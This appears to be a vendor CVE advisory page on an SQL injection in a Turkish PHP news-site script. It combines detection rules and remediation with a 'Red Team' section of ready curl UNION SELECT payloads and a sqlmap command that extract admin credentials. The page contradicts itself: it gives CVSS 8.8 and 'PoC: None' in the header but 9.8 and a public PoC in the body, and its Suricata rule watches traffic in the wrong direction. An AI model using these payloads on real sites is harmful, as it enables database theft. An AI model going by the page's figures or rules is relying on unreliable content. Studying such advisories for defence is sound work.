☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25512

CVE-2019-25512 SQL Injection in Jettweb
📅 PUBLISHED: 2026-03-12 15:36 UTC 🔄 UPDATED: 2026-09-23 20:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25512 is a critical SQL injection vulnerability in Jettweb PHP Hazir Haber Sitesi Scripti V3, a Turkish news website script. The flaw exists in the kelime parameter of POST requests, allowing unauthenticated attackers to inject arbitrary SQL commands. Successful exploitation can lead to full database compromise, including extraction of sensitive user data, credentials, and potential server takeover via stored procedures or file writes. The vulnerability is publicly known with proof-of-concept code available, yet no official patch has been released by the vendor, leaving all instances of this script at high risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a standard package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP script. The risk is amplified by the lack of vendor support and the script's likely use in production environments without proper security maintenance.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete data exfiltration and system compromise.

Deep Dive & Mechanics

The vulnerability resides in the search or query functionality of the Jettweb PHP Hazir Haber Sitesi Scripti V3. The application takes user input from the kelime (Turkish for "word") parameter via a POST request and directly concatenates it into a SQL query without proper sanitization or parameterization.

Root Cause: The application uses a function similar to:

$kelime = $_POST['kelime'];
$query = "SELECT * FROM haberler WHERE baslik LIKE '%$kelime%'";
$result = mysqli_query($conn, $query);

This allows an attacker to break out of the intended SQL syntax by injecting a single quote (') and then appending a UNION SELECT statement to retrieve arbitrary data from other tables.

Exploitation Mechanics:

  1. The attacker sends a POST request to the vulnerable endpoint (e.g., /ara.php or similar).
  2. The kelime parameter is manipulated with a payload like: ' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
  3. The application returns the results of the injected UNION query, displaying data from other tables (e.g., admin_users, ayarlar).
  4. The attacker can then extract hashed passwords, session tokens, or other sensitive information.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$kelime = $_POST['kelime'];
$query = "SELECT * FROM haberler WHERE baslik LIKE '%$kelime%'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$kelime = $_POST['kelime'];
$stmt = $conn->prepare("SELECT * FROM haberler WHERE baslik LIKE ?");
$searchTerm = '%' . $kelime . '%';
$stmt->bind_param("s", $searchTerm);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running Jettweb PHP Hazir Haber Sitesi Scripti V3
  • Burp Suite or curl
  • SQLMap or manual exploitation

Manual Exploitation Steps:

  1. Identify the vulnerable endpoint:

    curl -X POST http://target.com/ara.php -d "kelime=test"
    
  2. Confirm SQL injection:

    curl -X POST http://target.com/ara.php -d "kelime=test'"
    

    Look for a database error message.

  3. Extract database version:

    curl -X POST http://target.com/ara.php -d "kelime=' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -"
    
  4. Extract table names:

    curl -X POST http://target.com/ara.php -d "kelime=' UNION SELECT table_name,2,3,4,5,6,7,8,9,10 FROM information_schema.tables-- -"
    
  5. Extract admin credentials:

    curl -X POST http://target.com/ara.php -d "kelime=' UNION SELECT kullanici_adi,sifre,3,4,5,6,7,8,9,10 FROM admin_users-- -"
    

Automated Exploitation with SQLMap:

sqlmap -u "http://target.com/ara.php" --data="kelime=test" --batch --dbs

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for POST requests to /ara.php or similar endpoints containing SQL keywords (UNION, SELECT, --, ').
  2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  3. Implement database activity monitoring for unusual queries (e.g., UNION SELECT from information_schema).

Honeypot Strategy:

  • Create a fake /ara.php endpoint that logs all POST data and alerts on SQL injection patterns.
  • Use a decoy database table named admin_users with fake credentials to trap attackers.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /ara.php with kelime parameter containing SQL keywords (UNION, SELECT, INTO OUTFILE, LOAD_FILE).
  • HTTP responses containing database error messages (e.g., You have an error in your SQL syntax).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).

File System IOCs:

  • Suspicious files in the web root (e.g., shell.php, cmd.php).
  • Modified .htaccess files.
  • New database dump files (e.g., dump.sql).

Log IOCs:

  • Web server logs showing repeated UNION SELECT patterns.
  • Database logs showing queries against information_schema.

Detection Engineering

YARA Rule

rule CVE_2019_25512_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Jettweb PHP Hazir Haber Sitesi Scripti V3"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2019-25512"
    strings:
        $s1 = "kelime=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "information_schema" nocase
        $s6 = "admin_users" nocase
    condition:
        all of ($s1, $s2, $s3) or
        all of ($s1, $s4, $s5) or
        all of ($s1, $s6)
}

Sigma Rule

title: CVE-2019-25512 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Jettweb PHP Hazir Haber Sitesi Scripti V3
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'ara.php'
        cs-uri-query|contains|all:
            - 'kelime='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate search queries containing the word "union" or "select"
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25512 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"ara.php";
    http_uri;
    content:"kelime=";
    http_client_body;
    pcre:"/(UNION|SELECT|FROM|information_schema|admin_users)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2019-25512;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If possible, take the vulnerable script offline or behind a VPN.
  2. Apply virtual patching: Use a WAF (e.g., ModSecurity) with rules to block SQL injection patterns.
  3. Restrict database permissions: Ensure the database user used by the application has minimal privileges (no FILE, CREATE, DROP).

Long-Term Fix:

  1. Rewrite the code: Replace all dynamic SQL queries with prepared statements or parameterized queries.
  2. Input validation: Implement strict input validation for the kelime parameter (allow only alphanumeric and spaces).
  3. Upgrade: Contact the vendor for an updated version or migrate to a supported CMS.

Compromise Assessment:

  • Check database for unauthorized user accounts or modified data.
  • Review web server logs for suspicious POST requests.
  • Scan for web shells or backdoors in the web root.

Valters IT - DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25512/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.